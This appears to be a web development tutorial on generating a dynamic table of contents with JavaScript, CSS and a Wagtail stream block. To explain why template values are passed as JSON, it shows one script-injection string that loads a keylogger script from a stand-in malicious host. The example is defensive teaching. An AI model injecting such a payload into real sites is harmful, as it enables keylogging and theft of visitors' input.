Use JavaScript to Add a Dynamic Table of Contents to Your Pages

Introduction

Creating a table of contents or menu based on content is time-consuming for editors and prone to errors. You may need such a feature on your data-fed pages and not even have the ability to create and link to content on the page.

Here, I create an automated, on-the-fly table of contents without the need for hard-coded anchor links, regardless of the source of your content. It's easily adaptable to be turned into a nav bar or similar menu, though for nested menus, it would require a fair bit more logic to determine level and parent etc.. Similarly, this technique could be used to produce a summary with links on an API data feed page for rapid data analysis and drill-down capability.

This example creates a structured table of information based on the presence of heading tags, much like MS Word. The ultimate result is the table displayed above, where you can inspect the rendered HTML using the Inspect tool.

Where there are existing id attributes on the heading tags, those are used, otherwise they're generated using the slugified heading prefixed with an index number to ensure uniqueness on the page (important for structured documents where headings may be repeated).

The presumption is that heading tags are being used in a structured manner, with <h1> reserved for the page title (and therefore excluded from the table). Although the use of heading tags is largely ignored in SEO these days, Mozilla's developer guide has a useful reference on why using properly structured heading is a good idea.

CSS classes are added to each level, allowing you to customise the look fully in accordance with your own style guide.

Creating the Table of Contents

All the JavaScript on this page is saved to toc.js in the static/js folder on the site. Change this as appropriate for your site.

The listContents function

This JavaScript function takes four parameters, only one mandatory. Select the target <div> element to write the table to and, optionally, a scope to limit the table to (the page body is the default), the number of heading levels to include (from 1 for <h2> tags only up to 5 to include from <h2> to <h6> with 3 as default) and a title (if any) to display.

Inline comments below describe the process:

const listContents = (tocElement, scopeElement = "body", levels = 3, tocTitle = false=> {
  // Create Table of Contents (ToC) based on heading tags (H2 to H6)
  // Required: tocElement - element ID to create ToC in (<DIV> only)
  // Optional: scopeElement - element to limit the search to, defaults to <body>.
  //                          Can be element tag or element ID.
  // Optional: levels - number of levels to include in ToC (1 to 5 starting with H2). Default=3 (H2-H4)
  // Optional: tocTitle - string to display as ToC title, defaults to no title (false)
  const toc = document.getElementById(tocElement);
  const scope = document.querySelector(scopeElement);

  // find target DIV element to write ToC to, only accept DIV as valid element type, return on error
  if (!toc || toc.tagName !== "DIV") {
    console.error(
      `ToC: Missing or invalid target element with id=${tocElement}`
    );
    return;
  }

  // find tag name matching scopeElement, return if not found
  if (!scope) {
    console.error(
      `ToC: Missing element with id=${scopeElement} or valid element tag name`
    );
    return;
  }

  // determine which heading tags to search by slicing list 'levels' deep
  const tags = ["H2", "H3", "H4", "H5", "H6"].slice(0, levels);

  // find the relevant heading tags contained within the scope element
  const headings = Array.from(scope.querySelectorAll(tags.join(", ")));

  // create ToC only if headings found
  if (headings.length === 0) {
    return;
  }

  // add ToC title if supplied
  if (tocTitle) {
    const title = document.createElement("H2");
    title.innerText = tocTitle;
    title.classList.add("toc", "toc-title");
    toc.appendChild(title);
  }

  // nest ToC inside nav element 
  const nav = document.createElement("NAV");
  const list = document.createElement("UL");
  list.classList.add("toc", "toc-list");
  list.setAttribute("role", "list");

  // add ToC list to nav, add css classes
  // loop through headings in order of position on page
  headings.forEach((heading, index) => {
    // determine nesting level (h2->1, h3->2 etc)
    const level = Number(heading.nodeName[1]) - 1;

    // if heading has no id, create one from slugified title and assign to heading
    // pre-fix id with index to avoid duplicate id's
    if (!heading.id) {
      heading.id = `${index + 1}-${slugify(heading.innerText)}`;
    }

    // create element to hold link, add css including level specific css class
    const contentsItem = document.createElement("LI");
    contentsItem.classList.add(`toc`, `toc-item-l${level}`);

    // create link to point to ID of heading
    const link = document.createElement("A");
    link.textContent = heading.innerText;
    link.href = `#${heading.id}`;

    // add permalink to heading
    const permaLink = document.createElement("A");
    permaLink.className = "toc-link";
    permaLink.href = `#${heading.id}`;
    permaLink.innerHTML = heading.innerHTML;
    heading.innerHTML = "";
    heading.appendChild(permaLink);

    contentsItem.appendChild(link);
    list.appendChild(contentsItem);
  });

  // add nav & list to DOM
  nav.appendChild(list);
  toc.appendChild(nav);
};

This will output a table of contents title if any and a <nav> element with the heading titles and links.

The <nav> element

The <nav> element represents a section of a page that links to other pages or to parts within the page: a section with navigation links. (html.spec)

Explanation for Slugifying the Headings

An ID is added to each heading to link to only if there isn't one already, otherwise that ID is used to create the link. Each link created is prefixed with its index to ensure no duplicate ID's are being added.

To create the on-the-fly ID's for the headings, the function relies on a 'slugify' function to convert the text into a useable ID:

headings[i].id = `${i + 1}-${slugify(headings[i].innerText)}`;

The slug is prefixed by the loop count so that if there is any repetition of heading text, the id attribute will still be unique for each. Without this, the link will just go to the first instance of that slug.

The following function can be added to your JavaScript to do the slugifying:

const convertExtendedAscii = (str) => {
  // replace any extended-latin characters with standard ASCII letters
  const characterMap = {
    'À': 'A', 'Á': 'A', 'Â': 'A', 'Ã': 'A', 'Ä': 'A', 'Å': 'A', 'Æ': 'AE', 'Ç': 'C', 'È': 'E', 'É': 'E', 'Ê': 'E', 'Ë': 'E',
    'Ì': 'I', 'Í': 'I', 'Î': 'I', 'Ï': 'I', 'Ð': 'D', 'Ñ': 'N', 'Ò': 'O', 'Ó': 'O', 'Ô': 'O', 'Õ': 'O', 'Ö': 'O', 'Ø': 'O',
    'Ù': 'U', 'Ú': 'U', 'Û': 'U', 'Ü': 'U', 'Ý': 'Y', 'Þ': 'TH', 'ß': 'ss', 'à': 'a', 'á': 'a', 'â': 'a', 'ã': 'a', 'ä': 'a',
    'å': 'a', 'æ': 'ae', 'ç': 'c', 'è': 'e', 'é': 'e', 'ê': 'e', 'ë': 'e', 'ì': 'i', 'í': 'i', 'î': 'i', 'ï': 'i', 'ð': 'd',
    'ñ': 'n', 'ò': 'o', 'ó': 'o', 'ô': 'o', 'õ': 'o', 'ö': 'o', 'ø': 'o', 'ù': 'u', 'ú': 'u', 'û': 'u', 'ü': 'u', 'ý': 'y',
    'þ': 'th', 'ÿ': 'y', 'Ā': 'A', 'ā': 'a', 'Ă': 'A', 'ă': 'a', 'Ą': 'A', 'ą': 'a', 'Ć': 'C', 'ć': 'c', 'Ĉ': 'C', 'ĉ': 'c',
    'Ċ': 'C', 'ċ': 'c', 'Č': 'C', 'č': 'c', 'Ď': 'D', 'ď': 'd', 'Đ': 'D', 'đ': 'd', 'Ē': 'E', 'ē': 'e', 'Ĕ': 'E', 'ĕ': 'e',
    'Ė': 'E', 'ė': 'e', 'Ę': 'E', 'ę': 'e', 'Ě': 'E', 'ě': 'e', 'Ĝ': 'G', 'ĝ': 'g', 'Ğ': 'G', 'ğ': 'g', 'Ġ': 'G', 'ġ': 'g',
    'Ģ': 'G', 'ģ': 'g', 'Ĥ': 'H', 'ĥ': 'h', 'Ħ': 'H', 'ħ': 'h', 'Ĩ': 'I', 'ĩ': 'i', 'Ī': 'I', 'ī': 'i', 'Ĭ': 'I', 'ĭ': 'i',
    'Į': 'I', 'į': 'i', 'İ': 'I', 'ı': 'i', 'IJ': 'IJ', 'ij': 'ij', 'Ĵ': 'J', 'ĵ': 'j', 'Ķ': 'K', 'ķ': 'k', 'ĸ': 'k', 'Ĺ': 'L',
    'ĺ': 'l', 'Ļ': 'L', 'ļ': 'l', 'Ľ': 'L', 'ľ': 'l', 'Ŀ': 'L', 'ŀ': 'l', 'Ł': 'L', 'ł': 'l', 'Ń': 'N', 'ń': 'n', 'Ņ': 'N',
    'ņ': 'n', 'Ň': 'N', 'ň': 'n', 'ʼn': 'n', 'Ō': 'O', 'ō': 'o', 'Ŏ': 'O', 'ŏ': 'o', 'Ő': 'O', 'ő': 'o', 'Œ': 'OE', 'œ': 'oe',
    'Ŕ': 'R', 'ŕ': 'r', 'Ŗ': 'R', 'ŗ': 'r', 'Ř': 'R', 'ř': 'r', 'Ś': 'S', 'ś': 's', 'Ŝ': 'S', 'ŝ': 's', 'Ş': 'S', 'ş': 's',
    'Š': 'S', 'š': 's', 'Ţ': 'T', 'ţ': 't', 'Ť': 'T', 'ť': 't', 'Ŧ': 'T', 'ŧ': 't', 'Ũ': 'U', 'ũ': 'u', 'Ū': 'U', 'ū': 'u',
    'Ŭ': 'U', 'ŭ': 'u', 'Ů': 'U', 'ů': 'u', 'Ű': 'U', 'ű': 'u', 'Ų': 'U', 'ų': 'u', 'Ŵ': 'W', 'ŵ': 'w', 'Ŷ': 'Y', 'ŷ': 'y',
    'Ÿ': 'Y', 'Ź': 'Z', 'ź': 'z', 'Ż': 'Z', 'ż': 'z', 'Ž': 'Z', 'ž': 'z', 'ſ': 's', 'ƒ': 'f', 'Ơ': 'O', 'ơ': 'o', 'Ư': 'U',
    'ư': 'u', 'Ǎ': 'A', 'ǎ': 'a', 'Ǐ': 'I', 'ǐ': 'i', 'Ǒ': 'O', 'ǒ': 'o', 'Ǔ': 'U', 'ǔ': 'u', 'Ǖ': 'U', 'ǖ': 'u', 'Ǘ': 'U',
    'ǘ': 'u', 'Ǚ': 'U', 'ǚ': 'u', 'Ǜ': 'U', 'ǜ': 'u', 'Ǻ': 'A', 'ǻ': 'a', 'Ǽ': 'AE', 'ǽ': 'ae', 'Ǿ': 'O', 'ǿ': 'o'
  };

  return str.replace(/[^\u0000-\u007E]/g, (a) => {
    return characterMap[a] || '';
  });
};

const slugify = (str) => {
  str = str.replace(/^\s+|\s+$/g, ''); // remove leading and trailing whitespace
  str = convertExtendedAscii(str);     // replace any extended-latin characters with standard ASCII letters
  str = str.toLowerCase()              // convert to lower case
    .replace(/[^a-z0-9 -]/g, '')       // Remove invalid chars
    .replace(/\s+/g, '-')              // Collapse whitespace and replace with dash -
    .replace(/-+/g, '-');              // Collapse duplicate dashes

  return str;
};

If you're not using extended characters in your headings, you can drop convertExtendedAscii for better performance.

Adding CSS Styling

The rendered HTML includes several CSS classes to style the output with:

  • toc: applies to the whole table
  • toc-title: formatting for the title (if any)
  • toc-list: applies to the area below the title containing all the list items
  • toc-item-l1 - toc-item-l5: use these to style individual levels such as indents etc.
  • toc-link: applied to headings appearing in the table of contents, add the permalink and displays a link icon on hover

Below is a sample CSS definition for the table:

.toc {
  font-family: var(--font-family-headings);
  text-align: left;
}
.toc a {
  text-decoration: none;
}
.toc-title {
  font-family: var(--font-family-headings);
  font-size: var(--font-size-2);
  margin-bottom: 0;
}
.toc-list {
  padding-bottom: 1rem;
  padding-left: 10px;
  list-style: none;
}
.toc-item-l1 {
  font-size: clamp( 1.35rem, 1.3232rem + 0.1127vw, 1.45rem );
  text-indent: 0rem;
  margin-bottom: 0;
}
.toc-item-l2::marker {
  content: '•';
  letter-spacing: 0.5em;
}
.toc-item-l2 {
  font-size: clamp( 1.25rem, 1.2232rem + 0.1127vw, 1.35rem );
  margin-left: 1.8rem;
  margin-bottom: 0;
}
.toc-item-l3::marker {
  content: '◦';
  letter-spacing: 0.5em;
}
.toc-item-l3 {
  font-size: clamp( 1.15rem, 1.1099rem + 0.169vw, 1.3rem );
  margin-left: 3rem;
  margin-bottom: 0;
  padding-top: 0.15rem;
}
.toc-item-l4::marker {
  content: '▪';
  letter-spacing: 0.5em;
}
.toc-item-l4 {
  font-size: clamp( 1.05rem, 1.0099rem + 0.169vw, 1.2rem );
  margin-left: 4.1rem;
  margin-bottom: 0;
  padding-top: 0.125rem;
}
.toc-item-l5::marker {
  content: '−';
  letter-spacing: 0.5em;
}
.toc-item-l5 {
  font-size: clamp( 1rem, 0.9732rem + 0.1127vw, 1.1rem );
  margin-left: 5.1rem;
  margin-bottom: 0;
  padding-top: 0.1rem;
}
.toc-link {
  text-decoration: none;
  color: inherit;
}
.toc-link::after {
  display: inline-flex;
  content: '';
  background-image: url("/static/svg/link-solid.svg"); /* (replace image with one for your own site) */
  opacity: 0;
  transition: opacity 0.3s ease;
  pointer-events: none;
  height: 0.8em;
  width: 0.8em;
}
.toc-link:hover::after {
  opacity: 1;
}
  • Since I'm applying my own markers, the toc-list list-style is set to none to remove the default markers.
  • Each level decreases in font size by a scaled amount (for more on the clamp function, see this article) and has progressively increased left margin.
  • Each indented level is marked with a bullet point icon using a ::marker pseudo class with 0.5em letter spacing to add some separation.
  • The underline style for hyperlinks is removed (.toc a {text-decoration: none;}) - personal preference, a list of underlined headings is a bit visually overwhelming.
  • A little extra padding-top is added to lower order items to maintain separation and ease-of-click, particularly on mobile devices.
  • Headings appearing in the ToC will have a permalink added in the code. The toc-link class removes the text decoration as per items in the table of contents, and have an ::after psuedo-element added with a link image and opacity 0 (meaning hidden) with a 300ms ease in. The opacity is set to 1 when combined with the hover state creating a fade in effect on mouse over. Hover over the heading below to see that in action.

Rendered HTML Example

For this page, the rendered HTML for the table of contents is:

<div id="autoToC">
  <h2 class="toc toc-title">Table of Contents</h2>
  <nav>
    <ul class="toc toc-list" role="list">
      <li class="toc toc-item-l1"><a href="#1-introduction">Introduction</a></li>
      <li class="toc toc-item-l1"><a href="#2-creating-the-table-of-contents">Creating the Table of Contents</a></li>
      <li class="toc toc-item-l2"><a href="#3-the-listcontents-function">The listContents function</a></li>
      <li class="toc toc-item-l2"><a href="#4-explanation-for-slugifying-the-headings">Explanation for Slugifying the Headings</a></li>
      <li class="toc toc-item-l2"><a href="#5-adding-css-styling">Adding CSS Styling</a></li>
      <li class="toc toc-item-l2"><a href="#6-rendered-html-example">Rendered HTML Example</a></li>
      <li class="toc toc-item-l1"><a href="#7-implementing-the-table-of-contents">Implementing the Table of Contents</a></li>
      <li class="toc toc-item-l2"><a href="#8-deploying-as-a-stream-block-in-wagtail">Deploying as a Stream Block in Wagtail</a></li>
      <li class="toc toc-item-l2"><a href="#9-calling-the-listcontents-function">Calling the listContents function</a></li>
      <li class="toc toc-item-l2"><a href="#10-deploying-on-multi-language-sites">Deploying on multi-language sites</a></li>
      <li class="toc toc-item-l1"><a href="#11-conclusion">Conclusion</a></li>
    </ul>
  </nav>
</div>

Implementing the Table of Contents

Deploying as a Stream Block in Wagtail

The example I use here is probably too flexible for use on most commercial sites where consistency across the site is required, but it's here for completeness.

Start off by defining the block:

class TableOfContentsBlock(StructBlock):
    toc_title = CharBlock(
        max_length=60, 
        null=True, 
        blank=True,
        required=False,
        label=_("Title (optional)"),
        help_text=_("Optional title to display at the top of the table."),
    )
    
    levels = IntegerBlock(
        default = 3,
        min_value=1,
        max_value=5,
        label=_("Number of levels to include"),
        help_text=_("H1 tags are ignored. 1 level includes H2 only, 5 levels will include H2 to H6."),
    )

    class Meta:
        template = 'blocks/table_of_contents.html'
        icon = 'list-ul'
        label = 'Table of Contents'

The editor has the choice of defining a title to display and the number of levels to include (with 3 as default).

To take the choice away and keep consistency, use a StaticBlock rather than a StructBlock.

The template now just needs to supply the target <div>, the parameters and call the listContents function:

{% load static %}
<div id="autoToC"></div>

{{ "autoToC"|json_script:"tocElement" }}
{{ "main"|json_script:"scopeElement" }}
{{ value.levels|json_script:"levels" }}
{{ value.toc_title|json_script:"tocTitle" }} 

<script src="{% static 'js/toc.js'%}"></script>

In this example, the scopeElement parameter is "main" representing a <main>...</main> element containing all the dynamic content in the page's body. Change this to suit your page structure.

All the variables we need are rendered as JSON script elements ready to be used by the JavaScript once the document is ready.

Calling the listContents function

How and when you call the listContents function will depend on the nature of the page you're dealing with and how the content is being delivered.

For a data feed from a RESTful API for instance, you would call it on the success of the data call promise.

For Django/Wagtail sites, once the DOM content has loaded, you already have your headings and can get the function working before everything else has finished.

Back in the toc.js file, we can pull in the parameters and call the listContents function from the document.DOMContentLoaded event.

Make sure to put this at the end of the toc.js file so that the other functions have loaded first.

document.addEventListener("DOMContentLoaded", () => {
  const tocElement = JSON.parse(document.getElementById("tocElement").textContent);
  const scopeElement = JSON.parse(document.getElementById("scopeElement").textContent);
  const levels = JSON.parse(document.getElementById("levels").textContent);
  const tocTitle = JSON.parse(document.getElementById("tocTitle").textContent);
  listContents(tocElement, scopeElement, levels, tocTitle);
});
Passing data to Javascript securely

Why convert the parameters to JSON and not just call the function with the block variables directly from the template?

It's just good practice to avoid leaving your site open to code injection. In short, if your title came in as the string:

</script><script src="https://hack-my-site.com/keylogme.js"></script>

The malicious script would actually get run instead of your toc.js code.

I wrote about this in more detail in this blog if you're interested in reading more.

Deploying on multi-language sites

Because the contents list is built off the currently displayed text, there's no further modification needed. The only translation needed will be the title if used.

For the example above, on a wagtail-localize site, the title is available for translation in the CMS just as any text block is.

Conclusion

This is a robust and quick way to add a consistent look and feel for creating tables of contents.

A quick refactoring of the heading loop would allow a nested nav bar approach, or any other formatting.

Take this approach a bit further with other tag types to implement a simple BI dashboard summarising content produced by an external data feed and even offer links to those summarised areas to allow readers to quickly jump to the relevant sections despite there being no anchors in the originating render.


  Please feel free to leave any questions or comments below, or send me a message here